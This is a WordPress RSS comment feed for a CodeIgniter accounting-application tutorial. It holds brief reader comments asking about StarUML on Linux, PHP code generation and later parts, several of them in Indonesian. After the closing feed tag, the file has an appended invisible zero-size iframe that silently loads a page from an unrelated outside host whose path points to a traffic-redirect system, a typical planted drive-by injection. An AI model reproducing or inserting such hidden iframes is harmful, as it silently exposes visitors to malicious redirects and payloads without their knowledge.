<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: CodeIgniter Tutorial: [Creating Accounting Application] Part 2 The Application Specification and UML Diagrams</title>
	<atom:link href="http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-2-the-application-specification-and-uml-diagrams/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-2-the-application-specification-and-uml-diagrams/</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Thu, 02 Feb 2012 12:16:36 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<item>
		<title>By: Bruce</title>
		<link>http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-2-the-application-specification-and-uml-diagrams/comment-page-1/#comment-12354</link>
		<dc:creator>Bruce</dc:creator>
		<pubDate>Fri, 20 Jan 2012 01:09:23 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-2-the-application-specification-and-uml-diagrams/#comment-12354</guid>
		<description>I like where this whole series is going except for this step - StarUML is a windows only product. Everything else you are doing is cross-platform. Can you suggest how I can do this step using Linux?</description>
		<content:encoded><![CDATA[<p>I like where this whole series is going except for this step &#8211; StarUML is a windows only product. Everything else you are doing is cross-platform. Can you suggest how I can do this step using Linux?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Fitra</title>
		<link>http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-2-the-application-specification-and-uml-diagrams/comment-page-1/#comment-1960</link>
		<dc:creator>Fitra</dc:creator>
		<pubDate>Mon, 06 Jun 2011 02:00:31 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-2-the-application-specification-and-uml-diagrams/#comment-1960</guid>
		<description>Part 6 nya mana bro</description>
		<content:encoded><![CDATA[<p>Part 6 nya mana bro</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: zoro</title>
		<link>http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-2-the-application-specification-and-uml-diagrams/comment-page-1/#comment-1273</link>
		<dc:creator>zoro</dc:creator>
		<pubDate>Tue, 11 Jan 2011 21:28:18 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-2-the-application-specification-and-uml-diagrams/#comment-1273</guid>
		<description>hi
can you please tell us how to generate php code from staruml ?</description>
		<content:encoded><![CDATA[<p>hi<br />
can you please tell us how to generate php code from staruml ?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: admin</title>
		<link>http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-2-the-application-specification-and-uml-diagrams/comment-page-1/#comment-180</link>
		<dc:creator>admin</dc:creator>
		<pubDate>Mon, 10 Aug 2009 05:59:44 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-2-the-application-specification-and-uml-diagrams/#comment-180</guid>
		<description>sudah bisa dilihat part-3 nya. thanx</description>
		<content:encoded><![CDATA[<p>sudah bisa dilihat part-3 nya. thanx</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: azul</title>
		<link>http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-2-the-application-specification-and-uml-diagrams/comment-page-1/#comment-155</link>
		<dc:creator>azul</dc:creator>
		<pubDate>Wed, 05 Aug 2009 07:09:20 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-2-the-application-specification-and-uml-diagrams/#comment-155</guid>
		<description>Mantep lanjut bro..</description>
		<content:encoded><![CDATA[<p>Mantep lanjut bro..</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: widik</title>
		<link>http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-2-the-application-specification-and-uml-diagrams/comment-page-1/#comment-152</link>
		<dc:creator>widik</dc:creator>
		<pubDate>Wed, 05 Aug 2009 06:55:09 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-2-the-application-specification-and-uml-diagrams/#comment-152</guid>
		<description>Ditunggu kelanjutannya bro...</description>
		<content:encoded><![CDATA[<p>Ditunggu kelanjutannya bro&#8230;</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
